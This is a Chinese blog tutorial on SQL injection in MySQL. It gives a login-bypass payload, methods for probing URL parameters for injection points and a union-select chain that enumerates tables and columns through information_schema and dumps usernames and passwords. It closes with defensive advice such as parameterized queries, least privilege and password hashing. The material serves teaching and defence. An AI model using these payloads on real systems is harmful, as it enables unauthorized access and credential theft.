SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL pt-slave-restart工具的使用简介
Apr 07 MySQL
MySQL 慢查询日志深入理解
Apr 22 MySQL
为什么mysql字段要使用NOT NULL
May 13 MySQL
MySQL主从搭建(多主一从)的实现思路与步骤
May 13 MySQL
mysql中int(3)和int(10)的数值范围是否相同
Oct 16 MySQL
MySQL面试题讲解之如何设置Hash索引
Nov 01 MySQL
Mysql Innodb存储引擎之索引与算法
Feb 15 MySQL
一文搞清楚MySQL count(*)、count(1)、count(col)区别
Mar 03 MySQL
详解MySQL的主键查询为什么这么快
Apr 03 MySQL
数据分析数据库ClickHouse在大数据领域应用实践
Apr 03 MySQL
MySQL8.0 Undo Tablespace管理详解
Jun 16 MySQL
MySQL 原理与优化之Update 优化
Aug 14 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
非常好的php目录导航文件代码
2006/10/09 PHP
js 纯数字不重复排列的另类方法
2010/07/17 Javascript
JavaScript截取字符串的Slice、Substring、Substr函数详解和比较
2014/03/20 Javascript
jQuery中removeProp()方法用法实例
2015/01/05 Javascript
简介JavaScript中Math.LOG10E属性的使用
2015/06/14 Javascript
如何用Node写页面爬虫的工具集
2018/10/26 Javascript
小程序云开发之用户注册登录
2019/05/18 Javascript
React中使用外部样式的3种方式(小结)
2019/05/28 Javascript
jquery实现Ajax请求的几种常见方式总结
2019/05/28 jQuery
微信小程序点击图片实现长按预览、保存、识别带参数二维码、转发等功能
2019/07/20 Javascript
vue单页应用的内存泄露定位和修复问题小结
2019/08/02 Javascript
Vue 中 template 有且只能一个 root的原因解析(源码分析)
2020/04/11 Javascript
Handtrack.js库实现实时监测手部运动(推荐)
2021/02/08 Javascript
[05:26]2014DOTA2西雅图国际邀请赛 iG战队巡礼
2014/07/07 DOTA
[01:06:19]DOTA2-DPC中国联赛定级赛 LBZS vs SAG BO3第二场 1月8日
2021/03/11 DOTA
怎样使用Python脚本日志功能
2016/08/14 Python
对Python 内建函数和保留字详解
2018/10/15 Python
详解用python自制微信机器人,定时发送天气预报
2019/03/25 Python
使用Python正则表达式操作文本数据的方法
2019/05/14 Python
Python OpenCV图像指定区域裁剪的实现
2019/10/30 Python
Python正则表达式急速入门(小结)
2019/12/16 Python
Pytorch 计算误判率,计算准确率,计算召回率的例子
2020/01/18 Python
解决pycharm同一目录下无法import其他文件
2020/02/12 Python
Tkinter中复选菜单是否被选中的判断与设置方式
2020/03/04 Python
加拿大女装网上购物:Reitmans
2016/10/20 全球购物
英国儿童鞋和靴子:Start-Rite
2019/05/06 全球购物
C有"按引用传递"吗
2016/09/06 面试题
Python是如何进行类型转换的
2013/06/09 面试题
创业计划书——互联网商机
2014/01/12 职场文书
尽职尽责村干部自我鉴定
2014/01/23 职场文书
人力资源总监工作说明
2014/03/03 职场文书
《英英学古诗》教学反思
2014/04/11 职场文书
幼儿园大班毕业评语
2014/12/31 职场文书
公司备用金管理制度
2015/08/04 职场文书
《乌鸦喝水》教学反思
2016/02/19 职场文书
React中的Context应用场景分析
2021/06/11 Javascript